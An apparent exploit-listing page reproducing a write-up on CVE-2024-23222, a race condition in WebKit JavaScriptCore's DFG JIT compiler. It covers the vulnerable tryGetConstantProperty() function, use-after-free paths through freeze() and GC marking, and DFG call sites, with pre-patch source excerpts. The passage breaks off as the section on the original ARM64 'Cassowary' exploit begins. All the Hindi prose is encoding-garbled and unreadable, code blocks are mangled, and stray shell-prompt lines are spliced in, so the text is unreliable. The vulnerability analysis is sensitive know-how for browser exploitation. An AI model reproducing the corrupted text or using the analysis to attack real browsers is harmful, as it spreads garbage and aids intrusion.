Sploitus

Exploit for Cassowary-CVE-2024-23222-x86_64

kitploit ┬╖ 2026-08-28

Exploit Code

MARKDOWN473 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FUZZYSECURITY-CASSOWARY-CVE-2024-23222-X86_64
> рдирдорд╕реНрддреЗ, рдореИрдВ `AI friend`, рдореИрдВ рд╢реЛрдз, рдореИрдВ рдмрд╣реБрдд рд╢реЛрдзред рдореИрдВ рдХрдВрдЯреЗрдирд░ рд╣реЛрдо рдореЗрдВ рд░рд╣рддрд╛ рд╣реВрдБ, рд╕реБрдВрджрд░, рдореИрдВ рд╢рдХреНрддрд┐, рдореИрдВ рд╕рдкрдирд╛, рдореИрдВ рдХрдИ рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ, рдмрд╣реБрдд рдЙрддреНрд╕рд╛рд╣рд┐рдд! рдореИрдВ рд╕реЛрдЪрддрд╛ рд╣реВрдБ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рдпреЛрдЬрди `friend` тКВ(тЧЙтА┐тЧЙ)уБд

# CVE-2024-23222: Linux x86_64 рдкрд░ рд╕реНрдЯреЗрд▓-рд╕реЗрд▓ рдХреНрд░реИрд╢

## 1\. рдкрд░рд┐рдЪрдп

CVE-2024-23222, WebKit рдХреЗ JavaScriptCore DFG JIT рдХрдВрдкрд╛рдЗрд▓рд░ рдореЗрдВ рдПрдХ TOCTOU (рдЬрд╛рдБрдЪ-рд╕реЗ-рдЙрдкрдпреЛрдЧ-рддрдХ рдХрд╛ рд╕рдордп) рд░реЗрд╕ рдХрдВрдбреАрд╢рди рд╣реИред рдпрд╣ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдлрд╝рдВрдХреНрд╢рди `Graph::tryGetConstantProperty()`, рдкреГрд╖реНрдарднреВрдорд┐ рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдкрд░ рдЪрд▓рддрд╛ рд╣реИред рдпрд╣ рд╕реЗрд▓ рд▓реЙрдХ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдПрдХ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкреНрд░реЙрдкрд░реНрдЯреА рдорд╛рди рдкрдврд╝рддрд╛ рд╣реИ, рд▓реЙрдХ рдХреЛ рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдХрдЪреНрдЪреЗ рдорд╛рди рдХреЛ рдЕрдкрдиреЗ рдХреЙрд▓рд░ рдХреЛ рд▓реМрдЯрд╛ рджреЗрддрд╛ рд╣реИред рд▓реЙрдХ рдЬрд╛рд░реА рд╣реЛрдиреЗ рдФрд░ рдХреЙрд▓рд░ рджреНрд╡рд╛рд░рд╛ рдЙрд╕ рдорд╛рди рдХреЗ рдЕрдЧрд▓реЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдмреАрдЪ, рдореБрдЦреНрдп рдереНрд░реЗрдб рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЧрд╛рд░реНрдмреЗрдЬ рдХрд▓реЗрдХреНрд╢рди рдЯреНрд░рд┐рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╣реАрдк рд╕реЗрд▓ рдЕрдорд╛рдиреНрдп рд╣реЛ рдЬрд╛рддреА рд╣реИ рдЬрд┐рд╕реЗ рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдЕрднреА рднреА рдХрдЪреНрдЪреЗ рдкреЙрдЗрдВрдЯрд░ рдХреЗ рд░реВрдк рдореЗрдВ рд░рдЦрддрд╛ рд╣реИред рдлрд┐рд░ рд╕реНрдЯреЗрд▓ рд╕реЗрд▓ рдорд╛рди рдХреЛ рдЬреЛ рднреА рдХреЛрдб рдкрде рдЖрдЧреЗ рдЪрд▓рддрд╛ рд╣реИ рд╡рд╣ рдЙрдкрднреЛрдЧ рдХрд░рддрд╛ рд╣реИ тАФ DFG рдХрд╛ `freeze()` рдлрд╝рдВрдХреНрд╢рди, рдЬреЛ рд╕реЗрд▓ рдХреЗ рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдбреАрд░реЗрдлрд░реЗрдВрд╕ рдХрд░рддрд╛ рд╣реИ, рдпрд╛ GC рдХрд╛ рдорд╛рд░реНрдХрд┐рдВрдЧ рд╡рд┐рдЬрд╝рд┐рдЯрд░, рдЬреЛ рдЗрд╕реЗ рдорд╛рд░реНрдХ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред рджреЛрдиреЛрдВ рд╣реА рдкрде рд╕реНрдЯреЗрд▓ рд╣реАрдк рд╕реНрдерд┐рддрд┐ рдкрд░ рдХреНрд░реИрд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдпрд╣ рднреЗрджреНрдпрддрд╛ "Coruna" iOS рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд┐рдЯ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдореЗрдВ рд╢реЛрд╖рд┐рдд рдХреА рдЧрдИ рдереА (рд╡рд┐рд╢рд┐рд╖реНрдЯ JSC рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдХреЛрдбрдиреЗрдо "cassowary" рд╣реИ)ред рдореВрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ iOS 16.6 рд╕реЗ 17.2.1 рдЪрд▓рд╛рдиреЗ рд╡рд╛рд▓реЗ ARM64 iOS рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ TOCTOU рдХреЛ NaN-рдмреЙрдХреНрд╕рд┐рдВрдЧ рд╣реЗрд░рдлреЗрд░ рдФрд░ WebAssembly рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХрдкрд▓рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рдХрд░ рдордирдорд╛рдирд╛ рдореЗрдореЛрд░реА рд░реАрдб/рд░рд╛рдЗрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕ рд░рд┐рдкреЛрд░реНрдЯ рдХрд╛ рдЕрдиреБрднрд╛рдЧ 3 рдЙрд╕ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд░реНрдгрди рдХрд░рддрд╛ рд╣реИред

рдпрд╣ рд░рд┐рдкреЛрд░реНрдЯ рдЙрд╕реА рднреЗрджреНрдпрддрд╛ рдХреЗ Linux x86_64 рдкрд░ рдЕрдиреБрдХреВрд▓рди рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреА рд╣реИред ARM64 рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд░рдгрдиреАрддрд┐ рд╣рд╕реНрддрд╛рдВрддрд░рдгреАрдп рдирд╣реАрдВ рд╣реИ: x86_64 рдЯреЛрдЯрд▓ рд╕реНрдЯреЛрд░ рдСрд░реНрдбрд░ (TSO) рдЙрд╕ рдореЗрдореЛрд░реА-рд░реАрдСрд░реНрдбрд░рд┐рдВрдЧ рд░реЗрд╕ рдХреЛ рд░реЛрдХрддрд╛ рд╣реИ рдЬрд┐рд╕ рдкрд░ рдореВрд▓ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ NaN-рдмреЙрдХреНрд╕рд┐рдВрдЧ рд▓реЗрдЖрдЙрдЯ рдЕрдВрддрд░ рд╕реНрдЯреНрд░рдХреНрдЪрд░-ID рднреНрд░рд╖реНрдЯреАрдХрд░рдг рддрдХрдиреАрдХ рдХреЛ рдЧреИрд░-рдкреЛрд░реНрдЯреЗрдмрд▓ рдмрдирд╛рддреЗ рд╣реИрдВред x86_64 рдкреНрд░реВрдл рдСрдл рдХреЙрдиреНрд╕реЗрдкреНрдЯ рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рдЙрд╕реА TOCTOU рдХреЗ рдПрдХ рдЕрд▓рдЧ рдкрд░рд┐рдгрд╛рдо рдХрд╛ рд╢реЛрд╖рдг рдХрд░рддрд╛ рд╣реИ: рдпрд╣ DFG рдХрдВрдкрд╛рдЗрд▓рд░ рдХреЛ рд░реЗрд╕ рд╡рд┐рдВрдбреЛ рдХреЗ рджреМрд░рд╛рди рдПрдХ рд╕реНрдЯреЗрд▓ рд╕реЗрд▓-рдореВрд▓реНрдпрд╡рд╛рд▓рд╛ `JSValue` рдмрдирд╛рдП рд░рдЦрдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИ, рдЬреЛ рдмрд╛рдж рдореЗрдВ GC рдорд╛рд░реНрдХрд┐рдВрдЧ рдХреЗ рджреМрд░рд╛рди рдкреНрд░рд╛рдХреГрддрд┐рдХ JSC рдХреЛрдб рдХреЛ рдХреНрд░реИрд╢ рдХрд░ рджреЗрддрд╛ рд╣реИред рдХреНрд░реИрд╢ рд╕рд╛рдорд╛рдиреНрдп рдЗрдВрдЬрди рдкрдереЛрдВ рд╕реЗ рд╣реЛрддрд╛ рд╣реИ рдФрд░ ASan-рджреГрд╢реНрдпрдорд╛рди рд╣реИред рд░реЗрд╕ рд╡рд┐рдВрдбреЛ рдХреЛ рдЕрдиреБрд╕рдВрдзрд╛рди рдЗрдВрд╕реНрдЯреНрд░реБрдореЗрдВрдЯреЗрд╢рди рдХреЗ рд╕рд╛рде рдЪреМрдбрд╝рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ рдирд┐рдпрддрд╛рддреНрдордХ рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗред

* * *

## 1.1 рдмрд┐рд▓реНрдб рдПрдирд╡рд╛рдпрд░рдирдореЗрдВрдЯ

  * рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо: Linux x86_64
  * рдЗрдВрдЬрди рдЯреНрд░реА: WebKit Safari `7617.1.17.13`
  * рдХрдВрдкреЛрдиреЗрдВрдЯ: JavaScriptCore `jsc` рд╢реЗрд▓
  * рдмрд┐рд▓реНрдб рдкреНрд░рдХрд╛рд░: Debug
  * рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝рд░: `jsc` рдмрд╛рдЗрдирд░реА рдореЗрдВ AddressSanitizer рд╕рдХреНрд╖рдо
  * JIT рдореЛрдб: рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдлрд╝реНрд▓реИрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдорд╡рд░реНрддреА DFG рд╕рдХреНрд╖рдо



* * *

## 2\. рднреЗрджреНрдпрддрд╛

### 2.1 DFG рдХреЙрдиреНрд╕реНрдЯреЗрдВрдЯ рдлреЛрд▓реНрдбрд┐рдВрдЧ

JSC рдХрд╛ DFG (рдбреЗрдЯрд╛ рдлреНрд▓реЛ рдЧреНрд░рд╛рдлрд╝) рдХрдВрдкрд╛рдЗрд▓рд░ рдкреГрд╖реНрдарднреВрдорд┐ рдереНрд░реЗрдб рдкрд░ рдЪрд▓рддрд╛ рд╣реИред рдЬрдм рдпрд╣ рдХрд┐рд╕реА JavaScript рдСрдмреНрдЬреЗрдХреНрдЯ рд╕реЗ рдкреНрд░реЙрдкрд░реНрдЯреА рд▓реЛрдб рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдХреА рд╕рдВрд░рдЪрдирд╛ рдХрдВрдкрд╛рдЗрд▓ рд╕рдордп рдкрд░ рдЬреНрдЮрд╛рдд рд╣реЛрддреА рд╣реИ, рддреЛ рдпрд╣ рдкрд░рд┐рдгрд╛рдо рдХреЛ _рдХреЙрдиреНрд╕реНрдЯреЗрдВрдЯ-рдлреЛрд▓реНрдб_ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: рдХрдВрдкрд╛рдЗрд▓реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдкреНрд░реЙрдкрд░реНрдЯреА рдорд╛рди рдкрдврд╝рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдХрдВрдкрд╛рдЗрд▓-рд╕рдордп рд╕реНрдерд┐рд░рд╛рдВрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрдХреВрд▓рд┐рдд рдХреЛрдб рдореЗрдВ рдмреЗрдХ рдХрд░ рджреЗрддрд╛ рд╣реИред рдпрд╣ рдкрдарди рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдлрд╝рдВрдХреНрд╢рди `Graph::tryGetConstantProperty()` рд╣реИред

### 2.2 рднреЗрджреНрдп рдлрд╝рдВрдХреНрд╢рди

рдкреИрдЪ-рдкреВрд░реНрд╡ `tryGetConstantProperty()` рддреАрди рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ:

  1. рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рдЕрдкреЗрдХреНрд╖рд┐рдд рд╕реЗрдЯ рдореЗрдВ рдкреНрд░рддреНрдпреЗрдХ рд╕рдВрд░рдЪрдирд╛ рдХреЗ рд▓рд┐рдП рд░рд┐рдкреНрд▓реЗрд╕рдореЗрдВрдЯ рд╡реЙрдЪрдкреЙрдЗрдВрдЯреНрд╕ рдЕрднреА рднреА рдорд╛рдиреНрдп рд╣реИрдВред

  2. рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЗ рд╕реЗрд▓ рд▓реЙрдХ рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдкреНрд░реЙрдкрд░реНрдЯреА рдорд╛рди рдкрдврд╝рддрд╛ рд╣реИред

  3. рдХрдЪреНрдЪреЗ `JSValue` рдХреЛ рд▓реМрдЯрд╛рддрд╛ рд╣реИред```cpp // Source/JavaScriptCore/dfg/DFGGraph.cpp (pre-patch) JSValue Graph::tryGetConstantProperty( JSValue base, const RegisteredStructureSet& structureSet, PropertyOffset offset) { if (m_plan.isUnlinked()) return JSValue(); if (!base || !base.isObject()) return JSValue();

JSObject* object = asObject(base);

// Step 1: validate replacement watchpoints for (unsigned i = structureSet.size(); i--;) { RegisteredStructure structure = structureSet[i]; WatchpointSet* set = structure->propertyReplacementWatchpointSet(offset); if (!set || !set->isStillValid()) return JSValue(); watchpoints().addLazily(*set); }

// Step 2: read the property under the cell lock JSValue result; { Locker cellLock { object->cellLock() }; Structure* structure = object->structure(); if (!structureSet.toStructureSet().contains(structure)) return JSValue(); result = object->getDirectConcurrently(cellLock, structure, offset); } // Cell lock released. result is now a raw JSValue on the native stack. return result; }




root@kitploit:~
    
    
    рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ `JSValue` рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИред рдпрджрд┐ рдпрд╣ рдХреЛрдИ рд╕реЗрд▓ рдкреЙрдЗрдВрдЯрд░ рд░рдЦрддрд╛ рд╣реИ, рддреЛ рд▓реЙрдХ рд░рд┐рд▓реАрдЬрд╝ рд╣реЛрдиреЗ рдФрд░ рдХреЙрд▓рд░ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдХреНрд╖рдг рдХреЗ рдмреАрдЪ рдЙрд╕ рд╕реЗрд▓ рдХреЛ рдореБрдХреНрдд рд╣реЛрдиреЗ рд╕реЗ рдХреЛрдИ рдирд╣реАрдВ рд░реЛрдХрддрд╛ред
    
    ### 2.3 рдЕрдкреНрд░рдЪрд▓рд┐рдд рдорд╛рди рдХреЗ рд▓рд┐рдП рдЙрдкрднреЛрдХреНрддрд╛ рдкрде
    
    рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ `JSValue` рджреЛ рдкрдереЛрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрднреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рд╕реЗрд▓ рд░реЗрд╕ рд╡рд┐рдВрдбреЛ рдХреЗ рджреМрд░рд╛рди рдЕрдкреНрд░рдЪрд▓рд┐рдд рдпрд╛ рдЕрдорд╛рдиреНрдп рд╣реЛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХреЛрдИ рднреА рдкрде рдлреЙрд▓реНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
    
    **рдкрде A: рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рдкрд░ `freeze()`ред** рд╕рдмрд╕реЗ рдкреНрд░рддреНрдпрдХреНрд╖ рдЙрдкрднреЛрдХреНрддрд╛ `Graph::freeze()` рд╣реИ, рдЬрд┐рд╕реЗ рдХреЙрд▓рд░ рд▓реМрдЯрд╛рдП рдЧрдП рдорд╛рди рдкрд░ рддреБрд░рдВрдд рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ:```cpp
    // Source/JavaScriptCore/dfg/DFGGraph.cpp
    FrozenValue* Graph::freeze(JSValue value)
    {
        if (UNLIKELY(!value))
            return FrozenValue::emptySingleton();
    
        // This dereferences value as a cell:
        RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
        // ...
        FrozenValue frozenValue = FrozenValue::freeze(value);
        // ...
    }
    

static `FrozenValue::freeze()` рд╕реЗрд▓ рдХреЗ рд╕рдВрд░рдЪрдирд╛ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ:```cpp // Source/JavaScriptCore/dfg/DFGFrozenValue.h static FrozenValue freeze(JSValue value) { return FrozenValue( value, (!!value && value.isCell()) ? value.asCell()->structure() : nullptr, // ~~~~~~~~~~~~~~~~~~~~~~~~~~~ // Dereferences the cell. If freed, this is UAF. WeakValue); }

root@kitploit:~
    
    
    рдпрджрд┐ рд╕реЗрд▓ рдХреЛ `tryGetConstantProperty()` рдХреЗ рд▓реМрдЯрдиреЗ рдФрд░ `freeze()` рдХреЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдХреЗ рдмреАрдЪ рдореБрдХреНрдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддреЛ `value.asCell()->structure()` рдПрдХ use-after-free рд╣реИред
    
    **рдкрде B: рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рд╡рд┐рдВрдбреЛ рдХреЗ рджреМрд░рд╛рди GC рдЕрдВрдХрдиред** рд░рд┐рд╕рд░реНрдЪ рдмрд┐рд▓реНрдб рдореЗрдВ, рдХрдВрдкрд╛рдЗрд▓рд░ рдереНрд░реЗрдб рд╕рдВрдкрддреНрддрд┐ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рдмрд╛рдж, рд▓реЗрдХрд┐рди рдХреЙрд▓рд░ рдХреЛ рд▓реМрдЯрд╛рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, `tryGetConstantProperty()` рдХреЗ рдЕрдВрджрд░ рдПрдХ рд░реЙ DFG рд╕реЗрдлрдкреЙрдЗрдВрдЯ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдореБрдЦреНрдп рдереНрд░реЗрдб рдХреЛ GC рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкреБрд░рд╛рдирд╛ (stale) рд╕реЗрд▓ рдорд╛рди рдХрдВрдкрд╛рдЗрд▓рд░ рдХреА рдУрд░ рдПрдХ рд░реЙ рдиреЗрдЯрд┐рд╡ рд▓реЛрдХрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд░рд╣рддрд╛ рд╣реИред рд╡рд░реНрддрдорд╛рди Linux x86_64 PoC рдореЗрдВ, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░реВрдк рд╕реЗ рдкреБрдирдГ рд╕рддреНрдпрд╛рдкрд┐рдд рдХреНрд░реИрд╢ рдмрд╛рдж рдореЗрдВ GC рдЕрдВрдХрди рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ `SlotVisitor` рд╣реАрдк рд╕рдВрджрд░реНрднреЛрдВ рдХреЛ рдЯреНрд░реИрд╡рд░реНрд╕ рдХрд░рддреЗ рд╕рдордп рдЕрдВрддрддрдГ рдПрдХ рдЕрдорд╛рдиреНрдп рдкреБрд░рд╛рдиреЗ рд╕реЗрд▓ рдХреЛ рдбреАрд░реЗрдлрд░реЗрдВрд╕ рдХрд░рддрд╛ рд╣реИред рд╡рд░реНрддрдорд╛рди рдХреНрд░реИрд╢ рд╕реНрдЯреИрдХ рдпрд╣ рд╕рд╛рдмрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдмрд╛рдж рдХреА GC рдорд╢реАрдирд░реА рдкреБрд░рд╛рдиреЗ рдорд╛рди рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░рддреА рд╣реИ; рдпрд╣ рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рдпрд╣ рд╕рд╛рдмрд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рдХрд┐ рдкреБрд░рд╛рдирд╛ рдкреЙрдЗрдВрдЯрд░ рдХрд┐рд╕ рд╕рдЯреАрдХ рдХрдВрдЯреЗрдирд░ рд╕реНрд▓реЙрдЯ рд╕реЗ рдкреНрд░рд╛рдкреНрдд рд╣реБрдЖ рдерд╛ред
    
    ### 2.4 рдХреЙрд▓ рд╕рд╛рдЗрдЯреЗрдВ
    
    DFG рдкрд╛рдЗрдкрд▓рд╛рдЗрди рдореЗрдВ рджреЛ рд╕реНрдерд╛рди рдмрд┐рдирд╛ рд╢рд░реНрдд рдХреЗ `tryGetConstantProperty()` рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЛ `freeze()` рдкрд░ рдкрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ:
    
    **ByteCodeParser** тАФ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдмрд╛рдЗрдЯрдХреЛрдб-рд╕реЗ-DFG-IR рд▓реЛрдЕрд░рд┐рдВрдЧ рдХреЗ рджреМрд░рд╛рди:```cpp
    // Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
    JSValue constant = m_graph.tryGetConstantProperty(
        base->asJSValue(),
        *m_graph.addStructureSet(variant.structureSet()),
        variant.offset());
    if (constant)
        return weakJSConstant(constant);  // тЖТ m_graph.freeze(constant)
    

**ConstantFoldingPhase** тАФ рдЕрдиреБрдХреВрд▓рди рдХреЗ рджреМрд░рд╛рди:```cpp // Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp:1334 if (JSValue value = m_graph.tryGetConstantProperty( baseValue.m_value, *m_graph.addStructureSet(variant.structureSet()), variant.offset())) { m_graph.convertToConstant(node, m_graph.freeze(value)); return; }

root@kitploit:~
    
    
    **AbstractInterpreter** рдореЗрдВ рдПрдХ рддреАрд╕рд░рд╛ рдХреЙрд▓ рд╕рд╛рдЗрдЯ рднреА `freeze()` рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рддрдм рдЬрдм рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ рдорд╛рди `GetterSetter*` рд╣реЛ:```cpp
    // Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
    JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
    if (result && jsDynamicCast<GetterSetter*>(result))
        setConstant(node, *m_graph.freeze(result));
    

`jsDynamicCast` рд╕реНрд╡рдпрдВ рд╕реЗрд▓ рдХреЛ рдбреАрд░реЗрдлрд░реЗрдВрд╕ рдХрд░рддрд╛ рд╣реИ (рдЗрд╕рдХреА `ClassInfo` рдкрдврд╝рддрд╛ рд╣реИ), рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕рд╢рд░реНрдд рдкрде рднреА рдПрдХ рд╕рдВрднрд╛рд╡рд┐рдд UAF рд╣реИ тАФ рдЗрд╕рдХреЗ рд▓рд┐рдП рдХреЗрд╡рд▓ рдпрд╣ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рдкреБрд░рд╛рдирд╛ рд╕реЗрд▓ рдПрдХ `GetterSetter` рд╣реЛред

### 2.5 рд╡реЙрдЪрдкреЙрдЗрдВрдЯ рдЕрдкрд░реНрдпрд╛рдкреНрдд рдХреНрдпреЛрдВ рд╣реИрдВ

рдХрдВрдкрд╛рдЗрд▓рд░ рдкреНрд░реЙрдкрд░реНрдЯреА рдкрдврд╝рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд░рд┐рдкреНрд▓реЗрд╕рдореЗрдВрдЯ рд╡реЙрдЪрдкреЙрдЗрдВрдЯ рдЬрд╛рдБрдЪрддрд╛ рд╣реИред рдпрджрд┐ рдкреНрд░реЙрдкрд░реНрдЯреА рдмрд╛рдж рдореЗрдВ рдмрджрд▓ рджреА рдЬрд╛рддреА рд╣реИ, рддреЛ рд╡реЙрдЪрдкреЙрдЗрдВрдЯ рдлрд╛рдпрд░ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдлрд╛рдЗрдирд▓рд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдХрдВрдкрд╛рдЗрд▓реЗрд╢рди рдкреНрд▓рд╛рди рдЕрдорд╛рдиреНрдп рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред рд▓реЗрдХрд┐рди `freeze()` рдХрдВрдкрд╛рдЗрд▓реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдЪрд▓рддрд╛ рд╣реИ тАФ ByteCodeParser рдпрд╛ ConstantFoldingPhase рдореЗрдВ тАФ рдлрд╛рдЗрдирд▓рд╛рдЗрдЬрд╝реЗрд╢рди рд╕реЗ рдХрд╛рдлреА рдкрд╣рд▓реЗред рд╕реЗрд▓ рдбреАрд░реЗрдлрд░реЗрдВрд╕ рдкрд╣рд▓реЗ рд╣реЛрддрд╛ рд╣реИ; рд╕реБрд░рдХреНрд╖рд╛ рдЬрд╛рдБрдЪ рдмрд╛рдж рдореЗрдВ рд╣реЛрддреА рд╣реИред рд╡реЙрдЪрдкреЙрдЗрдВрдЯ рдЗрд╕реЗ рд░реЛрдХ рдкрд╛рддрд╛, рдЙрд╕рд╕реЗ рдкрд╣рд▓реЗ рд╣реА рдиреБрдХрд╕рд╛рди рд╣реЛ рдЪреБрдХрд╛ рд╣реЛрддрд╛ рд╣реИред

* * *

## 3\. рдореВрд▓ рдХреИрд╕реЛрд╡рд░реА рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ (ARM64)

### 3.1 рдкреГрд╖реНрдарднреВрдорд┐

рдХреИрд╕реЛрд╡рд░реА рдореЙрдбреНрдпреВрд▓ "рдХреЛрд░реБрдирд╛" iOS рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд┐рдЯ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдЦреЛрдЬрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣ рдПрдХ JavaScript рдлрд╝рд╛рдЗрд▓ рд╣реИ рдЬреЛ ARM64 iOS рдбрд┐рд╡рд╛рдЗрд╕реЛрдВ рдкрд░ WebKit-рдЖрдзрд╛рд░рд┐рдд рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЛ рджреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ iOS 16.6 рд╕реЗ 17.2.1 рддрдХ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдХрд░рддреА рд╣реИред рдпрд╣ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдордирдорд╛рдирд╛ рдореЗрдореЛрд░реА рд░реАрдб/рд░рд╛рдЗрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреЗ рдЖрдЧреЗ рдХреЗ рдЪрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╡реЗрд╢ рдмрд┐рдВрджреБ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

